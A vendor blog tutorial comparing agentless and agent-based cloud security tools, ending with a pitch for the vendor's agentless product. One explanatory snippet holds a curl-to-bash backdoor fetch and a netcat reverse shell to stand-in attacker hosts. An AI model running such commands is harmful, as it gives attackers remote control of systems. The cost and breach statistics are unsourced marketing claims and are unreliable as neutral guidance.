· PathShield Team · Tutorials · 7 min read
Agentless vs Agent-Based Cloud Security Tools: What Actually Matters
Cut through the marketing BS and understand the real differences between agentless and agent-based security tools. Learn which approach fits your startup's needs.
Agentless vs Agent-Based Cloud Security Tools: What Actually Matters
Every cloud security vendor claims their approach (agentless or agent-based) is superior. The reality? Both have their place, but most startups are choosing the wrong one for the wrong reasons. This guide cuts through the vendor BS to help you make the right choice for your actual needs.
The Real Difference That Matters
Agent-Based: Software installed on every server/container that monitors from inside Agentless: Scans your cloud APIs and configurations without touching your infrastructure
That’s it. Everything else is implementation details and vendor marketing.
Why This Choice Matters More Than Ever
Your choice impacts:
- Deployment time: Hours vs months
- Performance overhead: 0% vs 5-15%
- Coverage: Config vs runtime
- Maintenance burden: Near zero vs constant
- Cost: Predictable vs per-host
Choose wrong and you’ll either have blind spots or burn engineering cycles on security theater.
Agent-Based Security: The Traditional Approach
How It Actually Works
# What happens when you deploy an agent
curl -s https://security-vendor.com/install.sh | sudo bash
# Installs 50-200MB agent
# Consumes 5-15% CPU continuously
# Requires kernel modules
# Needs updates every few weeks
The agent sits on your host, watching:
- File system changes
- Network connections
- Process execution
- System calls
- Memory access patterns
Where Agents Excel
1. Runtime Threat Detection
# Agent catches this in real-time
def malicious_function():
os.system("curl evil-site.com/backdoor.sh | bash") # Agent blocks this
subprocess.run(["nc", "-e", "/bin/bash", "attacker.com", "4444"]) # And this
2. Container Security
# Agents can see inside running containers
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: security-agent
spec:
template:
spec:
containers:
- name: agent
image: vendor/agent:latest
securityContext:
privileged: true # Needs root access
volumeMounts:
- name: docker-sock
mountPath: /var/run/docker.sock
3. Compliance Requirements Some compliance frameworks specifically require host-based monitoring:
- PCI-DSS (file integrity monitoring)
- HIPAA (audit trails)
- FedRAMP (continuous monitoring)
The Hidden Costs of Agents
Performance Impact (Real Numbers)
# Benchmark: API response times with/without agent
# Test: 10,000 requests to Node.js API
without_agent = {
'p50': '12ms',
'p95': '34ms',
'p99': '67ms',
'cpu_usage': '45%'
}
with_agent = {
'p50': '18ms', # +50% latency
'p95': '52ms', # +53% latency
'p99': '98ms', # +46% latency
'cpu_usage': '58%' # +13% CPU
}
Operational Overhead
# What your team actually deals with
# Agent crashes taking down production
[ERROR] Security agent segfault, kernel panic
[ERROR] EC2 instance i-1234567 unreachable
# Agent conflicts with application
[ERROR] Port 9999 already in use by security-agent
[ERROR] Application failed to start
# Update failures
[ERROR] Agent v2.5.1 incompatible with kernel 5.15
[ERROR] Rollback required on 47 instances
Agentless Security: The Cloud-Native Approach
How It Actually Works
# Agentless tool operation
def scan_infrastructure():
# Uses AWS APIs - no infrastructure changes
iam_client = boto3.client('iam')
ec2_client = boto3.client('ec2')
s3_client = boto3.client('s3')
# Reads configurations
users = iam_client.list_users()
instances = ec2_client.describe_instances()
buckets = s3_client.list_buckets()
# Analyzes without touching your servers
vulnerabilities = analyze_configs(users, instances, buckets)
return vulnerabilities
Zero installation. Zero performance impact. Zero maintenance.
Where Agentless Excels
1. Instant Deployment
# Complete deployment in 5 minutes
aws iam create-role --role-name SecurityScanner --assume-role-policy-document file://trust-policy.json
aws iam attach-role-policy --role-name SecurityScanner --policy-arn arn:aws:iam::aws:policy/SecurityAudit
# Done. Full visibility across 1000+ resources
2. Configuration Security
# Finds 90% of real breaches before they happen
misconfigurations_found = {
'public_s3_buckets': 12,
'open_databases': 3,
'excessive_iam_permissions': 47,
'unencrypted_volumes': 28,
'missing_mfa': 15
}
# These cause more breaches than malware
3. Cross-Account Visibility
# Monitor 50 AWS accounts with one deployment
module "security_scanner" {
source = "./modules/agentless-scanner"
monitored_accounts = [
"123456789012", # Production
"234567890123", # Staging
"345678901234", # Development
# ... 47 more accounts
]
}
What Agentless Can’t Do
Limited Runtime Visibility
# Agentless won't see this happening
def runtime_attack():
# Process injection - invisible to agentless
inject_into_process("legitimate_app", malicious_code)
# Memory-only malware - no config change
load_fileless_malware()
# Zero-day exploits - happens between scans
exploit_new_vulnerability()
Point-in-Time Scanning
# Configuration at scan time: Secure ✅
SecurityGroup:
Rules:
- Port: 443
Source: 10.0.0.0/8
# 5 minutes later: Exposed ❌
SecurityGroup:
Rules:
- Port: 22
Source: 0.0.0.0/0 # Added between scans
Real-World Performance Comparison
Startup A: Agent-Based Deployment
- Size: 50 engineers, 200 servers
- Deployment time: 3 months
- Issues encountered:
- 15% performance degradation on API servers
- 2 production outages from agent crashes
- $4,000/month in additional compute costs
- 1 engineer full-time managing agents
Startup B: Agentless Deployment
- Size: 45 engineers, 180 servers
- Deployment time: 2 hours
- Issues encountered:
- None during deployment
- Missed one cryptominer (runtime attack)
- $500/month total cost
- 2 hours/week management overhead
Decision Framework: Which One Do You Actually Need?
Choose Agentless If:
✅ You’re a typical startup/scaleup
- Moving fast, limited security resources
- Using cloud-native services (Lambda, Fargate, RDS)
- Need immediate visibility
- Want to fix misconfigurations (90% of breaches)
✅ Your infrastructure is dynamic
- Auto-scaling groups
- Containerized workloads
- Serverless functions
- Multi-cloud deployments
✅ You prioritize engineering velocity
- Can’t afford performance overhead
- Don’t want maintenance burden
- Need quick compliance reports
Choose Agent-Based If:
✅ You have specific compliance requirements
- PCI-DSS Level 1
- FedRAMP High
- Healthcare with PHI on compute instances
✅ You run legacy infrastructure
- On-premise servers
- Long-lived EC2 instances
- Custom kernels/operating systems
✅ You’re a high-value target
- Cryptocurrency exchange
- Financial services with trading systems
- Defense contractor
The Hybrid Approach (Best of Both Worlds)
Most successful security programs use both:
# Agentless for breadth
agentless_coverage:
- all_aws_accounts: true
- configuration_monitoring: true
- compliance_scanning: true
- cost: "$500/month"
- coverage: "100% of infrastructure"
# Agents for depth (critical systems only)
agent_deployment:
- payment_processing_servers: true
- database_servers: true
- api_gateways: true
- cost: "$2000/month"
- coverage: "10% of infrastructure (critical)"
Integration and Alert Fatigue
Agentless Tools: Less Noise
# Agentless alerts on actual risks
alerts = [
"CRITICAL: RDS database publicly accessible",
"HIGH: S3 bucket with customer data has no encryption",
"HIGH: IAM user 'admin' has not rotated keys in 180 days"
]
# 10-20 high-quality alerts per week
Agent-Based Tools: Information Overload
# Agent alerts on everything
alerts = [
"INFO: Process 'chrome' started",
"LOW: Outbound connection to 8.8.8.8:53",
"INFO: File /tmp/random123 created",
"LOW: SSH connection from 10.0.0.5",
# ... 10,000 more alerts today
]
# 50,000+ alerts per week, 99.9% false positives
Cost Analysis: TCO Over 2 Years
100-Server Startup Comparison
Agentless Total Cost
Software: $500/month × 24 months = $12,000
Deployment: 2 hours × $150/hour = $300
Maintenance: 2 hours/week × 104 weeks × $150/hour = $31,200
Performance impact: $0
Total: $43,500
Agent-Based Total Cost
Software: $20/server × 100 × 24 months = $48,000
Deployment: 480 hours × $150/hour = $72,000
Maintenance: 20 hours/week × 104 weeks × $150/hour = $312,000
Performance impact: 15 additional servers × $100/month × 24 = $36,000
Total: $468,000
10x cost difference for similar security outcomes.
Making the Right Choice
Questions to Ask Vendors
“What’s your false positive rate?”
- Agentless: Usually < 5%
- Agent-based: Often > 50%
“How long until we see value?”
- Agentless: Same day
- Agent-based: 2-3 months
“What’s the performance impact?”
- Agentless: Zero
- Agent-based: “It depends” (red flag)
“What happens when your service fails?”
- Agentless: You lose visibility
- Agent-based: You might lose servers
Red Flags to Avoid
🚩 “Our agent uses less than 1% CPU” - They’re not monitoring much 🚩 “You need agents for real security” - Fear-based selling 🚩 “Agentless can’t see real threats” - Ignoring that misconfigs cause 90% of breaches 🚩 “We support both approaches” - Usually means neither works well
Conclusion: Start Agentless, Add Agents If Needed
For 95% of startups, agentless security tools provide better ROI. They’re faster to deploy, easier to manage, and catch the misconfigurations that actually cause breaches. You can always add agents later for specific high-risk systems.
The best security tool is the one that actually gets deployed and used. Agentless tools remove the barriers that keep startups from implementing security at all.
Your Action Plan:
- Start with agentless scanning of your cloud infrastructure
- Fix the misconfigurations it finds (there will be many)
- Only after that, evaluate if you need agents for specific systems
- If you do need agents, deploy them surgically on critical systems only
Remember: The goal isn’t to have the most sophisticated security tool. It’s to actually improve your security posture without killing your engineering velocity.
Want to see agentless security in action? Modern platforms like PathShield can scan your entire AWS infrastructure in minutes and show you exactly what needs fixing—without installing a single agent.